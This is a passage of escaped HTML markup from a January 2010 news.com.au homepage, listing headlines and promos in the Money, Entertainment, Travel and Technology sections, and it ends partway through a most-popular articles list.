class=\"group group-accordion text-g-money item-count-3\">\n\t\t<div class=\"group-header\">\n\t\t\t\t\t<h2 class=\"heading\">Money </h2>\n\t\t</div><!-- // .group-header -->\n\t<div class=\"group-content\">\n\t\t<div class=\"item ipos-1 irpos-3\">\n\t\t\t\t\t<div class=\"module default    collection mpos-1 mrpos-2 text-m-money id1225745763407\" id=\"id1225745763407\">\n\t\t\t<div class=\"module-header\">\n\t\t\t\t\t\t\t\t<h3 class=\"heading\">Money</h3>\n\t<ul class=\"more-links mpos-1 mrpos-2 tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/money\">Money</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div>\n\t\t\t<!-- // .module-header -->\n\t\t\t<div class=\"module-content \">\n\t\t\t<div class=\"story-block sbpos-1 sbrpos-1 id1225817925833\">\n\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/money/superannuation/add-some-spice-to-your-super-nest-egg/story-e6frfmdi-1225817925833\">\n\t\t\t\t\t\tAdd some spice to your super nest egg\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/money/superannuation/add-some-spice-to-your-super-nest-egg/story-e6frfmdi-1225817925833\" class=\"thumb-link\"><img src=\"http://resources0.news.com.au/images/2010/01/11/1225817/926312-retirees.jpg\" alt=\"retirees\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t\t<strong class=\"standfirst-kicker \"></strong>\n\t\tMANY people think super is boring, but there are ways to spice up your nest egg that are definitely not dull.\n\t</p> <!-- // .standfirst -->\n\t\t\t</div> <!-- // .story-block pos-1 rpos-1 id1225817925833 -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"story  first  lipos-1\"><a href=\"/money/money-matters/get-credit-where-credits-due/story-e6frfmd9-1225817923298\"> Get credit where credit's due </a></li>\n\t\t\t\t\t<li class=\"story    lipos-2\"><a href=\"/money/can-you-afford-to-get-sick/story-e6frfmci-1225817771388\"> Can you afford to get sick? </a></li>\n\t\t\t\t\t<li class=\"story    lipos-3\"><a href=\"/money/interest-rates/christmas-shopping-spree-may-spell-rate-rise/story-e6frfmn0-1225817199662\"> Christmas spree may spell rate rise </a></li>\n\t\t\t\t\t<li class=\"story   last lipos-4\"><a href=\"/money/money-matters/more-people-cutting-deals-on-debt/story-e6frfmd9-1225817270124\"> More people cutting deals on debt </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .module-content -->\n\t\t</div> <!-- // .module .collection -->\n\n\t\t\t\t\t<!-- Multi-Promo -->\n<div class=\"module multi-promo  ci-count-2 mpos-2 mrpos-1 first-image-152w86h text-m-news-home-multi-promo-money id1225787186529\">\n    <div class=\"module-content\">\n\t\t<div class=\"content-item cipos-1 cirpos-2\">\n\t\t\t<!-- promo-block-b -->\n        <div class=\"promo-block promo-block-03 \">\n                        <div class=\"promo-image\"><a href=\"http://www.news.com.au/business/money/feature/0,,5016109,00.html\"><img src=\"http://resources3.news.com.au/images/2009/11/17/1225798/578543-stock-business-money.jpg\" alt=\"interest rates dice\"  width=\"152\"  height=\"86\"  /></a></div><!-- // .promo-image -->\n            <div class=\"promo-inner\">\n                            <div class=\"promo-heading\"><h4 class=\"heading\"><a href=\"http://www.news.com.au/business/money/feature/0,,5016109,00.html\">Rates race</a></h4></div><!-- // .promo-heading -->\n                    <div class=\"promo-text\"><p>Find out how interest rates affect you with the latest news, features and multimedia</p></div><!-- // .promo-text -->\n            </div><!-- // .promo-inner -->\n        </div><!-- // .promo-block.promo-block-03 -->\n\n\t\t</div><!-- // .content-item -->\n\t\t<div class=\"content-item cipos-2 cirpos-1\">\n\t\t\t<!-- promo-block-b -->\n        <div class=\"promo-block promo-block-06 \">\n                        <div class=\"promo-image\"><a href=\"http://www.news.com.au/business/money/matters/\"><img src=\"http://resources1.news.com.au/images/2009/11/17/1225798/640189-compass-on-australia-dollar-bill.jpg\" alt=\"Money compass\"  width=\"152\"  height=\"86\"  /></a></div><!-- // .promo-image -->\n            <div class=\"promo-inner\">\n                            <div class=\"promo-heading\"><h4 class=\"heading\"><a href=\"http://www.news.com.au/business/money/matters/\">Money and Me</a></h4></div><!-- // .promo-heading -->\n                    <div class=\"promo-text\"><p>Join everyday Australians and financial experts and chat about money issues that matter</p></div><!-- // .promo-text -->\n            </div><!-- // .promo-inner -->\n        </div><!-- // .promo-block.promo-block-06 -->\n\n\t\t</div><!-- // .content-item -->\n    </div><!-- // .module-content -->\n            <div class=\"module-footer\">\n\t            <ul class=\"more-links tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/money\">More money </a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\n            </div><!-- // .module-footer -->\n</div><!-- // .module.multi-promo -->\n\n\t\t</div><!-- // .item ipos-1 irpos-3 -->\n\t\t<div class=\"item ipos-2 irpos-2\">\n\t\t\t\t\t<div class=\"custom-html  \">\n\t\t<div class=\"module ajaxcontent\">\n   <div class=\"module-header\">\n      <h3 class=\"heading\">\n      <a href=\"\">Money Accordion 2 test</a>\n      </h3>\n      <ul class=\"more-links\">\n         <li class=\"first\"><a rel=\"/cs/Satellite?c=News_Group&cid=1225755103685&pagename=Foundation%2FNews_Group%2FFDNdetail&site=NewsComAu\" href=\"\">Property</a></li>\n         <li class=\"last\"><a href=\"\">Investing</a></li>\n      </ul>\n   </div>\n</div>\n\t</div><!-- // .custom-html -->\n\n\t\t</div><!-- // .item ipos-2 irpos-2 -->\n\t\t<div class=\"item ipos-3 irpos-1\">\n\t\t\t\t\t<div class=\"custom-html  \">\n\t\t<div class=\"module ajaxcontent\">\n   <div class=\"module-header\">\n      <h3 class=\"heading\">\n      <a href=\"\">Money Accordion 3 test</a>\n      </h3>\n      <ul class=\"more-links\">\n         <li class=\"first\"><a rel=\"/cs/Satellite?c=News_Group&cid=1225755107345&pagename=Foundation%2FNews_Group%2FFDNdetail&site=NewsComAu\" href=\"\">Banking</a></li>\n         <li class=\"last\"><a href=\"\">Superannuation</a></li>\n      </ul>\n   </div>\n</div>\n\t</div><!-- // .custom-html -->\n\n\t\t</div><!-- // .item ipos-3 irpos-1 -->\n\t</div><!-- // .group-content.item-count-3 -->\n</div><!-- // .group -->\n\n\t\t<!-- [Group:1225745357552] on [fwprodcontent02.ni.news.com.au] @ [January 11, 2010 12:48PM] -->\n<div class=\"group group-accordion text-g-entertainment item-count-3\">\n\t\t<div class=\"group-header\">\n\t\t\t\t\t<h2 class=\"heading\">Entertainment</h2>\n\t\t</div><!-- // .group-header -->\n\t<div class=\"group-content\">\n\t\t<div class=\"item ipos-1 irpos-3\">\n\t\t\t\t\t<div class=\"module default    collection mpos-1 mrpos-2 text-m-news-home-plmt-ents-top-stories id1225745766149\" id=\"id1225745766149\">\n\t\t\t<div class=\"module-header\">\n\t<ul class=\"more-links mpos-1 mrpos-2 tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/entertainment\">Entertainment </a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div>\n\t\t\t<!-- // .module-header -->\n\t\t\t<div class=\"module-content \">\n\t\t\t<div class=\"story-block sbpos-1 sbrpos-1 id1225817930820\">\n\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/entertainment/celebrity/britney-spears-catches-lover-jason-trawick-with-two-women/story-e6frfmqi-1225817930820\">\n\t\t\t\t\t\tSpears 'catches lover with two women'\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/entertainment/celebrity/britney-spears-catches-lover-jason-trawick-with-two-women/story-e6frfmqi-1225817930820\" class=\"thumb-link\"><img src=\"http://resources2.news.com.au/images/2010/01/11/1225817/927858-britney-spears.jpg\" alt=\"Britney Spears\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t\t<strong class=\"standfirst-kicker \"></strong>\n\t\tBRITNEY Spears is single again after she caught her boyfriend with two other women.\n\t</p> <!-- // .standfirst -->\n\t\t<p class=\"comments\">\n\t\t\t<a href=\"/entertainment/celebrity/britney-spears-catches-lover-jason-trawick-with-two-women/comments-e6frfmqi-1225817930820\">14 comments on this story</a>\n\t\t</p>\n\t\t\t</div> <!-- // .story-block pos-1 rpos-1 id1225817930820 -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"story  first  lipos-1\"><a href=\"/entertainment/music/austereos-jackie-o-breaks-her-silence-on-radio-stunt/story-e6frfn09-1225817871923\"> Jackie O's so sorry for radio show stunt  </a></li>\n\t\t\t\t\t<li class=\"story    lipos-2\"><a href=\"/entertainment/celebrity/lesbian-tila-tequila-tells-twitter-she-may-be-pregnant-after-losing-casey-johnson/story-e6frfmqi-1225817933182\"> Lesbian Tila's Twitter baby rant  </a></li>\n\t\t\t\t\t<li class=\"story    lipos-3\"><a href=\"/entertainment/celebrity/lindsay-lohan-involved-in-hit-and-run-incident-in-los-angeles/story-e6frfmqi-1225817933341\"> Lindsay Lohan involved in hit and run </a></li>\n\t\t\t\t\t<li class=\"story   last lipos-4\"><a href=\"/entertainment/movies/avatar-continues-to-dominate-at-the-box-office/story-e6frfmvr-1225817934520\"> Avatar continues to dominate </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .module-content -->\n\t\t</div> <!-- // .module .collection -->\n\n\t\t\t\t\t<!-- Multi-Promo -->\n<div class=\"module multi-promo  ci-count-2 mpos-2 mrpos-1 first-image-152w86h text-m-entertainment-features id1225745651252\">\n        <div class=\"module-header\">\n                    <h3 class=\"heading\">Entertainment Features </h3>\n        </div><!-- // .module-header -->\n    <div class=\"module-content\">\n\t\t<div class=\"content-item cipos-1 cirpos-2\">\n\t\t\t<!-- promo-block-b -->\n        <div class=\"promo-block promo-block-03 \">\n                        <div class=\"promo-image\"><a href=\"/entertainment/celebrity/dennis-rodman-thrown-out-of-restaurant/story-e6frfmqi-1225817828321\"><img src=\"http://resources1.news.com.au/images/2010/01/10/1225817/830509-dennis-rodman.jpg\" alt=\"Dennis Rodman\"  width=\"152\"  height=\"86\"  /></a></div><!-- // .promo-image -->\n            <div class=\"promo-inner\">\n                            <div class=\"promo-heading\"><h4 class=\"heading\"><a href=\"/entertainment/celebrity/dennis-rodman-thrown-out-of-restaurant/story-e6frfmqi-1225817828321\">Kicked out</a></h4></div><!-- // .promo-heading -->\n                    <div class=\"promo-text\"><p>Dennis Rodman reportedly thrown out of restaurant for being drunk and disorderly</p></div><!-- // .promo-text -->\n            </div><!-- // .promo-inner -->\n        </div><!-- // .promo-block.promo-block-03 -->\n\n\t\t</div><!-- // .content-item -->\n\t\t<div class=\"content-item cipos-2 cirpos-1\">\n\t\t\t<!-- promo-block-b -->\n        <div class=\"promo-block promo-block-03 \">\n                        <div class=\"promo-image\"><a href=\"/entertainment/celebrity/gallery-e6frfmr9-1111120736498\"><img src=\"http://resources2.news.com.au/images/2010/01/08/1225817/252610-tila-tequila.jpg\" alt=\"Tila Tequila\"  width=\"152\"  height=\"86\"  /></a></div><!-- // .promo-image -->\n            <div class=\"promo-inner\">\n                            <div class=\"promo-heading\"><h4 class=\"heading\"><a href=\"/entertainment/celebrity/gallery-e6frfmr9-1111120736498\">Shooting stars</a></h4></div><!-- // .promo-heading -->\n                    <div class=\"promo-text\"><p>Tila Tequila argues with two celebs in catfight at her home<br />\n<img alt=\"\" src=\"http://network.news.com.au/images/i_related.gif\" /> <a href=\"http://www.news.com.au/tila-tequila-bids-casey-johnson-tearful-goodbye-in-bizarre-video-message/story-e6frfmq9-1225817219861\">Odd farewell to Casey</a></p></div><!-- // .promo-text -->\n            </div><!-- // .promo-inner -->\n        </div><!-- // .promo-block.promo-block-03 -->\n\n\t\t</div><!-- // .content-item -->\n    </div><!-- // .module-content -->\n            <div class=\"module-footer\">\n\t            <ul class=\"more-links tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/entertainment\">More entertainment </a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\n            </div><!-- // .module-footer -->\n</div><!-- // .module.multi-promo -->\n\n\t\t</div><!-- // .item ipos-1 irpos-3 -->\n\t\t<div class=\"item ipos-2 irpos-2\">\n\t\t\t\t\t<div class=\"custom-html  \">\n\t\t<div class=\"module ajaxcontent\">\n   <div class=\"module-header\">\n      <h3 class=\"heading\">\n      <a href=\"\">Entertainment Accordion 2 test</a>\n      </h3>\n      <ul class=\"more-links\">\n         <li class=\"first\"><a rel=\"/cs/Satellite?c=News_Group&cid=1225755115280&pagename=Foundation%2FNews_Group%2FFDNdetail&site=NewsComAu\" href=\"\">Television</a></li>\n         <li class=\"last\"><a href=\"\">Movies</a></li>\n      </ul>\n   </div>\n</div>\n\t</div><!-- // .custom-html -->\n\n\t\t</div><!-- // .item ipos-2 irpos-2 -->\n\t\t<div class=\"item ipos-3 irpos-1\">\n\t\t\t\t\t<div class=\"custom-html  \">\n\t\t<div class=\"module ajaxcontent\">\n   <div class=\"module-header\">\n      <h3 class=\"heading\">\n      <a href=\"\">Entertainment Accordion 3 test</a>\n      </h3>\n      <ul class=\"more-links\">\n         <li class=\"first\"><a rel=\"/cs/Satellite?c=News_Group&cid=1225755115346&pagename=Foundation%2FNews_Group%2FFDNdetail&site=NewsComAu\" href=\"\">Music</a></li>\n         <li class=\"last\"><a href=\"\">Fashion</a></li>\n      </ul>\n   </div>\n</div>\n\t</div><!-- // .custom-html -->\n\n\t\t</div><!-- // .item ipos-3 irpos-1 -->\n\t</div><!-- // .group-content.item-count-3 -->\n</div><!-- // .group -->\n\n\t\t<!-- [Group:1225745357890] on [fwprodcontent04.ni.news.com.au] @ [January 11, 2010 12:49PM] -->\n<div class=\"group group-accordion text-g-travel item-count-3\">\n\t\t<div class=\"group-header\">\n\t\t\t\t\t<h2 class=\"heading\">Travel</h2>\n\t\t</div><!-- // .group-header -->\n\t<div class=\"group-content\">\n\t\t<div class=\"item ipos-1 irpos-3\">\n\t\t\t\t\t<div class=\"module default  sectionref-send-to-news-home  collection mpos-1 mrpos-2 text-m-news-home-plmt-trav-top-stories id1225745793844\" id=\"id1225745793844\">\n\t\t\t<div class=\"module-header\">\n\t<ul class=\"more-links mpos-1 mrpos-2 tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/travel\">Travel </a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div>\n\t\t\t<!-- // .module-header -->\n\t\t\t<div class=\"module-content \">\n\t\t\t<div class=\"story-block sbpos-1 sbrpos-1 id1225817364839\">\n\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/travel/travel-advice/emirates-a380-first-class-luxury/story-e6frfqfr-1225817364839\">\n\t\t\t\t\t\tIs this the most desired airline seat?\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/travel/travel-advice/emirates-a380-first-class-luxury/story-e6frfqfr-1225817364839\" class=\"thumb-link\"><img src=\"http://resources0.news.com.au/images/2010/01/08/1225817/377992-news-image-a380-20100108.jpg\" alt=\"A380\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t\t<strong class=\"standfirst-kicker \"></strong>\n\t\tDOM Perignon, a private mini-bar and a shower suit - Brian Crisp enters a world of unimaginable luxury on the Emirates A380.\n\t</p> <!-- // .standfirst -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"gallery first last lipos-1\"><a href=\"/travel/galleries/gallery-e6frflw0-1111120331039\"><strong class=\"kicker\">Onboard:</strong> Emirate&#039;s luxury A380 </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .story-block pos-1 rpos-1 id1225817364839 -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"story  first  lipos-1\"><a href=\"/travel/news/tourists-label-wicked-campervans-death-traps/story-e6frfq80-1225817940969\"> Tourists label campervans  'death traps' </a></li>\n\t\t\t\t\t<li class=\"story    lipos-2\"><a href=\"/travel/news/tourists-burnt-in-hong-kong-acid-attack/story-e6frfq80-1225817945504\"> Tourists burnt in acid attack  </a></li>\n\t\t\t\t\t<li class=\"story    lipos-3\"><a href=\"/travel/news/the-white-cockatoo-resort-up-for-sale/story-e6frfq80-1225817882094\"> Sex resort starts new life with a bang  </a></li>\n\t\t\t\t\t<li class=\"story   last lipos-4\"><a href=\"/travel/news/tourists-get-green-card-to-keep-climbing-uluru/story-e6frfq80-1225817368971\"> Government rejects Uluru climbing ban </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .module-content -->\n\t\t</div> <!-- // .module .collection -->\n\n\t\t\t\t\t<!-- Multi-Promo -->\n<div class=\"module multi-promo  ci-count-2 mpos-2 mrpos-1 first-image-152w86h text-m-travel-features id1225745653012\">\n        <div class=\"module-header\">\n                    <h3 class=\"heading\">Travel Features</h3>\n        </div><!-- // .module-header -->\n    <div class=\"module-content\">\n\t\t<div class=\"content-item cipos-1 cirpos-2\">\n\t\t\t<!-- promo-block-b -->\n        <div class=\"promo-block promo-block-03 \">\n                        <div class=\"promo-image\"><a href=\"/travel/news/drag-queen-flight-uniforms-fail-to-take-off/story-e6frfq80-1225817820001\"><img src=\"http://resources3.news.com.au/images/2010/01/10/1225817/833295-pink-dress.jpg\" alt=\"Pink dress\"  width=\"152\"  height=\"86\"  /></a></div><!-- // .promo-image -->\n            <div class=\"promo-inner\">\n                            <div class=\"promo-heading\"><h4 class=\"heading\"><a href=\"/travel/news/drag-queen-flight-uniforms-fail-to-take-off/story-e6frfq80-1225817820001\">Hostie uniform anger</a></h4></div><!-- // .promo-heading -->\n                    <div class=\"promo-text\"><p>Airline under fire for its new uniforms which have been likened to drag queen's outfits</p></div><!-- // .promo-text -->\n            </div><!-- // .promo-inner -->\n        </div><!-- // .promo-block.promo-block-03 -->\n\n\t\t</div><!-- // .content-item -->\n\t\t<div class=\"content-item cipos-2 cirpos-1\">\n\t\t\t<!-- promo-block-b -->\n        <div class=\"promo-block promo-block-03 \">\n                        <div class=\"promo-image\"><a href=\"/travel/world/central-park-by-bike/story-e6frfqc9-1225817404927\"><img src=\"http://resources2.news.com.au/images/2010/01/11/1225817/942294-news-image-bike-20100111.jpg\" alt=\"Bike\"  width=\"152\"  height=\"86\"  /></a></div><!-- // .promo-image -->\n            <div class=\"promo-inner\">\n                            <div class=\"promo-heading\"><h4 class=\"heading\"><a href=\"/travel/world/central-park-by-bike/story-e6frfqc9-1225817404927\">NY by bike</a></h4></div><!-- // .promo-heading -->\n                    <div class=\"promo-text\"><p>Explore one of the world's most famous parks in style. But watch out for strollers</p></div><!-- // .promo-text -->\n            </div><!-- // .promo-inner -->\n        </div><!-- // .promo-block.promo-block-03 -->\n\n\t\t</div><!-- // .content-item -->\n    </div><!-- // .module-content -->\n            <div class=\"module-footer\">\n\t            <ul class=\"more-links tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/travel\">More travel</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\n            </div><!-- // .module-footer -->\n</div><!-- // .module.multi-promo -->\n\n\t\t</div><!-- // .item ipos-1 irpos-3 -->\n\t\t<div class=\"item ipos-2 irpos-2\">\n\t\t\t\t\t<div class=\"custom-html  \">\n\t\t<div class=\"module ajaxcontent\">\n   <div class=\"module-header\">\n      <h3 class=\"heading\">\n      <a href=\"\">Travel Accordion 2 test</a>\n      </h3>\n      <ul class=\"more-links\">\n         <li class=\"first\"><a rel=\"/cs/Satellite?c=News_Group&cid=1225755121873&pagename=Foundation%2FNews_Group%2FFDNdetail&site=NewsComAu\" href=\"\">Australia</a></li>\n         <li class=\"last\"><a href=\"\">World Destinations</a></li>\n      </ul>\n   </div>\n</div>\n\t</div><!-- // .custom-html -->\n\n\t\t</div><!-- // .item ipos-2 irpos-2 -->\n\t\t<div class=\"item ipos-3 irpos-1\">\n\t\t\t\t\t<div class=\"custom-html  \">\n\t\t<div class=\"module ajaxcontent\">\n   <div class=\"module-header\">\n      <h3 class=\"heading\">\n      <a href=\"\">Travel Accordion 3 test</a>\n      </h3>\n      <ul class=\"more-links\">\n         <li class=\"first\"><a rel=\"/cs/Satellite?c=News_Group&cid=1225755125095&pagename=Foundation%2FNews_Group%2FFDNdetail&site=NewsComAu\" href=\"\">Holiday Ideas</a></li>\n         <li class=\"last\"><a href=\"\">Travel Advice</a></li>\n      </ul>\n   </div>\n</div>\n\t</div><!-- // .custom-html -->\n\n\t\t</div><!-- // .item ipos-3 irpos-1 -->\n\t</div><!-- // .group-content.item-count-3 -->\n</div><!-- // .group -->\n\n\t\t<!-- [Group:1225745358988] on [fwprodcontent02.ni.news.com.au] @ [January 11, 2010 12:49PM] -->\n<div class=\"group group-accordion text-g-technology item-count-2\">\n\t\t<div class=\"group-header\">\n\t\t\t\t\t<h2 class=\"heading\">Technology </h2>\n\t\t</div><!-- // .group-header -->\n\t<div class=\"group-content\">\n\t\t<div class=\"item ipos-1 irpos-2\">\n\t\t\t\t\t<div class=\"module default    collection mpos-1 mrpos-3 text-m-news-home-plmt-tech-top-stories id1225746283841\" id=\"id1225746283841\">\n\t\t\t<div class=\"module-content \">\n\t\t\t<div class=\"story-block sbpos-1 sbrpos-1 id1225817940987\">\n\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/technology/laser-projector-boxee-web-tv-box-win-ces-gadget-awards/story-e6frfro0-1225817940987\">\n\t\t\t\t\t\tPocket projector, web TV box win awards\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/technology/laser-projector-boxee-web-tv-box-win-ces-gadget-awards/story-e6frfro0-1225817940987\" class=\"thumb-link\"><img src=\"http://resources0.news.com.au/images/2010/01/11/1225817/941032-consumer-electronics-show.jpg\" alt=\"Consumer Electronics Show\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t\t<strong class=\"standfirst-kicker \"></strong>\n\t\tA TINY laser projector and a set-top box which delivers web content to your TV among the best products at gadget show CES.\n\t</p> <!-- // .standfirst -->\n\t\t<p class=\"comments\">\n\t\t\t<a href=\"/technology/laser-projector-boxee-web-tv-box-win-ces-gadget-awards/comments-e6frfro0-1225817940987\">4 comments on this story</a>\n\t\t</p>\n\t\t\t</div> <!-- // .story-block pos-1 rpos-1 id1225817940987 -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"story  first  lipos-1\"><a href=\"/technology/worlds-first-life-size-robotic-girlfriend/story-e6frfro0-1225817805297\"> World's first life-size robotic girlfriend </a></li>\n\t\t\t\t\t<li class=\"story    lipos-2\"><a href=\"/technology/e-reader-makers-seek-bestseller-but-may-be-has-beens-after-ces/story-e6frfro0-1225817945583\"> E-readers could be has-beens after CES </a></li>\n\t\t\t\t\t<li class=\"story    lipos-3\"><a href=\"/technology/apple-tablet-supply-chain-points-to-q2-launch-sources/story-e6frfro0-1225817943041\"> Apple tablet 'due in second quarter' </a></li>\n\t\t\t\t\t<li class=\"story   last lipos-4\"><a href=\"/technology/mobile-phone-calls-safe-from-hackers/story-e6frfro0-1225817249286\"> Mobile calls 'safe from eavesdroppers' </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .module-content -->\n\t\t\t<div class=\"module-footer\">\n\t<ul class=\"more-links mpos-1 mrpos-3 tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/technology\">More technology</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div> <!-- // .module-footer -->\n\t\t</div> <!-- // .module .collection -->\n\n\t\t\t\t\t<div class=\"module default    collection mpos-2 mrpos-2 text-m-industry-news-from-australianit id1225765622100\" id=\"id1225765622100\">\n\t\t\t<div class=\"module-header\">\n\t\t\t\t\t\t\t\t<h3 class=\"heading\"><a href=\"http://www.australianit.news.com.au/\">Industry news from <em>AustralianIT</em></a></h3>\n\t<ul class=\"more-links mpos-2 mrpos-2 tier-1\">\n\t\t\t<li class=\"nav-australian-it \">\n\t\t\t\t\t\t<a class=\"nav-australian-it \" href=\"http://www.australianit.news.com.au/\">AUSTRALIAN IT </a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div>\n\t\t\t<!-- // .module-header -->\n\t\t\t<div class=\"module-content \">\n\t\t\t<div class=\"story-block sbpos-1 sbrpos-1 id1225817871516\">\n\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"http://www.theaustralian.com.au/business/second-leg-of-digital-auction-ramped-up/story-e6frg8zx-1225817871516\">\n\t\t\t\t\t\tDigital auction ramped up\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"http://www.theaustralian.com.au/business/second-leg-of-digital-auction-ramped-up/story-e6frg8zx-1225817871516\" class=\"thumb-link\"><img src=\"http://resources0.news.com.au/images/2010/01/11/1225817/938096-stephen-conroy.jpg\" alt=\"Stephen Conroy\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t&#65279;A SOARING demand for limited bandwidth is putting the heat on key players ahead of the second leg of the government's digital spectrum auction.\n\t</p> <!-- // .standfirst -->\n\t\t\t</div> <!-- // .story-block pos-1 rpos-1 id1225817871516 -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"story  first  lipos-1\"><a href=\"http://www.theaustralian.com.au/australian-it/rta-facial-recognition-to-catch-driving-licence-cheats/story-e6frgakx-1225817961905\"> Facial recognition to catch licence cheats  </a></li>\n\t\t\t\t\t<li class=\"story    lipos-2\"><a href=\"http://www.theaustralian.com.au/australian-it/qld-ticketing-theft-case-investigated/story-e6frgakx-1225817967045\"> Qld ticketing 'theft' investigated </a></li>\n\t\t\t\t\t<li class=\"story    lipos-3\"><a href=\"http://www.theaustralian.com.au/australian-it/google-planning-nexus-enterprise-phone/story-e6frgakx-1225818029070\"> Google planning Nexus enterprise phone </a></li>\n\t\t\t\t\t<li class=\"story   last lipos-4\"><a href=\"http://www.theaustralian.com.au/australian-it/apple-tablet-supply-chain-points-to-q2-launch/story-e6frgakx-1225818027053\"> Apple tablet supply chain points to Q2 launch </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .module-content -->\n\t\t\t<div class=\"module-footer\">\n\t<ul class=\"more-links mpos-2 mrpos-2 tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a  href=\"http://www.australianit.com.au/\">Australian IT</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div> <!-- // .module-footer -->\n\t\t</div> <!-- // .module .collection -->\n\n\t\t\t\t\t<!-- promo-image-01 -->\n<div class=\"module module-promo-image-01  mpos-3 mrpos-1 id1225807041184 text-m-news-home-tech-promo-mini-rec-laptop-guide\">\n    <div class=\"module-content\">\n<!-- promo-image-a -->\n<div class=\"promo-block promo-image-01 \">\n\t\t       <div class=\"promo-image\"><a href=\"/technology/guides/buying-a-laptop-beginners-guide/story-e6frfrui-1111118744566\"><img src=\"http://resources0.news.com.au/images/2009/12/04/1225807/051964-news-home-intel-buyers-guide.GIF\" alt=\"news home intel buyers guide\"  width=\"300\"  height=\"30\"  /></a></div><!-- // .promo-image -->\n</div><!-- // .promo-block.promo-image-01 -->\n    </div><!-- // .module-content -->\n</div><!-- // .module.module-promo-image-01 -->\n\n\t\t</div><!-- // .item ipos-1 irpos-2 -->\n\t\t<div class=\"item ipos-2 irpos-1\">\n\t\t\t\t\t<div class=\"custom-html  \">\n\t\t<div class=\"module ajaxcontent\">\n   <div class=\"module-header\">\n      <h3 class=\"heading\">\n      <a href=\"\">Technology Accordion 2 test</a>\n      </h3>\n      <ul class=\"more-links\">\n         <li class=\"first\"><a rel=\"/cs/Satellite?c=News_Group&cid=1225755125390&pagename=Foundation%2FNews_Group%2FFDNdetail&site=NewsComAu\" href=\"\">Reviews</a></li>\n         <li class=\"last\"><a href=\"\">Technology Features</a></li>\n      </ul>\n   </div>\n</div>\n\t</div><!-- // .custom-html -->\n\n\t\t</div><!-- // .item ipos-2 irpos-1 -->\n\t</div><!-- // .group-content.item-count-2 -->\n</div><!-- // .group -->\n\n\t\t\t\t</div><!-- // #content-4 -->\n\t\t\t\t<div id=\"content-5\">\n\t\t\t\t<!-- Generated at Mon Jan 11 12:44:09 EST 2010 -->\n\t\t<div class=\"module network-most-popular tabbed js-tabbed \">\n\t\t   <div class=\"module-header\">\n\t\t\t\t<h3 class=\"heading\">Today's Most Popular</h3>\n\t\t\t</div><!-- // .module-header -->\n\t\t\t<div class=\"controls\">\n\t\t\t\t<ul class=\"tab-set\">\n\t\t\t\t\t<li class=\"tab js-tab lipos-1 lirpos-2\"><a href=\"#most-popular-articles\"><span>Most Popular</span> Articles</a></li>\n\t\t\t\t\t<li class=\"tab js-tab lipos-2 lirpos-1\"><a href=\"#most-popular-blogs\"><span>Most Popular</span> Blogs</a></li>\n\t\t\t\t</ul><!-- // .tab-set -->\n\t\t\t</div><!-- // .controls -->\n\t\t  \t<div class=\"module-content\">\n\t\t\t\t<div class=\"content-item most-popular-articles tab-content js-tab-content cipos-1 cirpos-2\" id=\"most-popular-articles\">\n\t\t\t\t\t<div class=\"ci-header\"><h4 class=\"heading\">Today's Most Popular Articles</h4></div><!-- // .ci-header -->\n\t\t\t\t<div class=\"most-pop-item most-pop-major most-pop-news-com-au\">\n\t\t\t\t\t<div class=\"mpi-header\"><h5 class=\"heading\"><a href=\"http://www.news.com.au/\">News.com.au</a></h5></div>\n\t\t\t\t<ol>\n\t\t\t\t\t\t<li><a href=\"http://www.news.com.au/story/0,1,26573121-23109,00.html\">'Crime lord's' penis falls off in raid</a></li>\n\t\t\t\t\t\t<li><a href=\"http://www.news.com.au/story/0,1,26574510-401,00.html\">Bali 'confession' to help 